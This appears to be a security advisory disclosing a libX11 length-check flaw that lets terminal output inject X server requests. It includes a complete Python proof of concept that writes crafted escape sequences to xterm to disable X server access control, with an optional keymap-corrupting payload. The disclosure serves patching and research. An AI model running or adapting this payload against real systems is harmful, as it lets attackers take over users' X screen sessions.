libX11 Insufficient Length Check / Injection

Credit: Roman Fiedler
Risk: Medium
Local: Yes
Remote: No

CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Hello list, A missing length check in libX11 causes data from LookupColor requests mess up the client-server communication protocol and inject malicious X server requests. The flaw is comparable to SQLi injecting commands into database connections granting an attacker access to all features of the connection protocol. Even with the flaw being embedded in the C-API/library, it can be easily demonstrated with a simple PoC run in xterm [1]. On most terminals the PoC will only produce a nice, blue background while with appropriate libX11 and xterm the same PoC disables X server authorization, thus allowing any program to connect to the X server and take over the screen session. For details on exploitation see [2]. The flaw is also interesting in two more ways: 1) for xterm the flaw can be easily detected using fuzzing. So I assume that a) nobody else fuzzed xterm yet, even being that old (less likely) or b) that the flaw was deemed a mere DoS (interruption of X communication) but as it did not involve a buffer overflow, was not seen exploitable or otherwise worth reporting. Even I myself stumbled over it it already years ago but then again forgot about it until doing some testing around other recent rxvt/xterm flaws (CVE-2021-27135). 2) from archeological perspective it would have been interesting to prove and not only assume, since when the bug was really exploitable. At least the code seems to date back quite some time to 1986. But even not from distant past, finding sufficient online resources from that era to revive an ancient system and run an X environment was not yet possible. If it happens that someone still has access to full system backups of an X server system of that time I would be happy to try to turn this into an emulator image and test the exploit. [1] [2] -------------------------------------- #!/usr/bin/python3 -BbbEIsSttW all # This software is provided by the copyright owner "as is" # and WITHOUT ANY EXPRESSED OR IMPLIED WARRANTIES, including, # but not limited to, the implied warranties of merchantability # and fitness for a particular purpose are disclaimed. In no # event shall the copyright owner be liable for any direct, # indirect, incidential, special, exemplary or consequential # damages, including, but not limited to, procurement of substitute # goods or services, loss of use, data or profits or business # interruption, however caused and on any theory of liability, # whether in contract, strict liability, or tort, including # negligence or otherwise, arising in any way out of the use # of this software, even if advised of the possibility of such # damage. # # Copyright (c) 2021 Unparalleled IT Services e.U. # # The software is only provided for reference to ease understanding # and fixing of an underlying security issue in xterm/libx11. # Therefore it may NOT be distributed freely while the security # issue is not fixed and patched software is available widely. # After that phase permission to use, copy, modify, and distribute # this software according to GNU Lesser General Public License # (LGPL-3.0) purpose is hereby granted, provided that the above # copyright notice and this permission notice appear in all # copies. # # This program demonstrates X client/server loss of synchronization # due to a large color lookup request. # # See # for more information. import sys import time # Set to true to inject an alternative (nonfunctional) keymap # too. NEVER ENABLE THIS AS IT WOULD RENDER YOU KEYBOARD UNUSABLE. # If done accidentially, try to run "setxkbmap -layout [yourlayout]" # to fix it. messupKeymapFlag = False def buildQueryTextExtents(frameCnt): data = bytearray(b'T'*(frameCnt<<2)) data[0] = 48 data[1] = 0x20 data[2] = (len(data)>>2) & 0xff data[3] = (len(data)>>10) & 0xff return bytes(data) def buildChangeKeyboardMappingPacket(keyCount, symsPerKey): data = bytearray(b' ' *(4*(2+keyCount*symsPerKey))) data[0] = 100 data[1] = keyCount data[2] = (len(data)>>2) & 0xff data[3] = (len(data)>>10) & 0xff # First key. data[4] = 0x20 data[5] = symsPerKey return bytes(data) # Just display the blue color because it is so nice. sys.stdout.buffer.write( b'\x07\x1b]11;#006f00005858\x07Check "xhost" afterwards ...') sys.stdout.buffer.flush() time.sleep(2) # Use an invalid color name so that xterm does not react with # an immediate out-of-fram AllocColor. overflowData = buildQueryTextExtents(0x7072) + buildQueryTextExtents(0x6f6a) if messupKeymapFlag: overflowData += buildChangeKeyboardMappingPacket(121, 68) else: overflowData += buildQueryTextExtents(0x2026) # Shorten the name lookup overflow data. This will cause the # last command to consume also 8 bytes from the next frame. overflowData = overflowData[0:(1<<18)] # Add the terminal control sequence for the color lookup, the # overflow data for the color lookup and another terminal sequence # to set the background color. The color value translates to # a valid SetAccessControl packet frame. data = \ b'\x1b]12;grxxnZZZ' + overflowData + b'\x07\x1b]11;#006f00015858\x07' sys.stdout.buffer.write(data) sys.stdout.buffer.flush() time.sleep(10)

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021,


Back to Top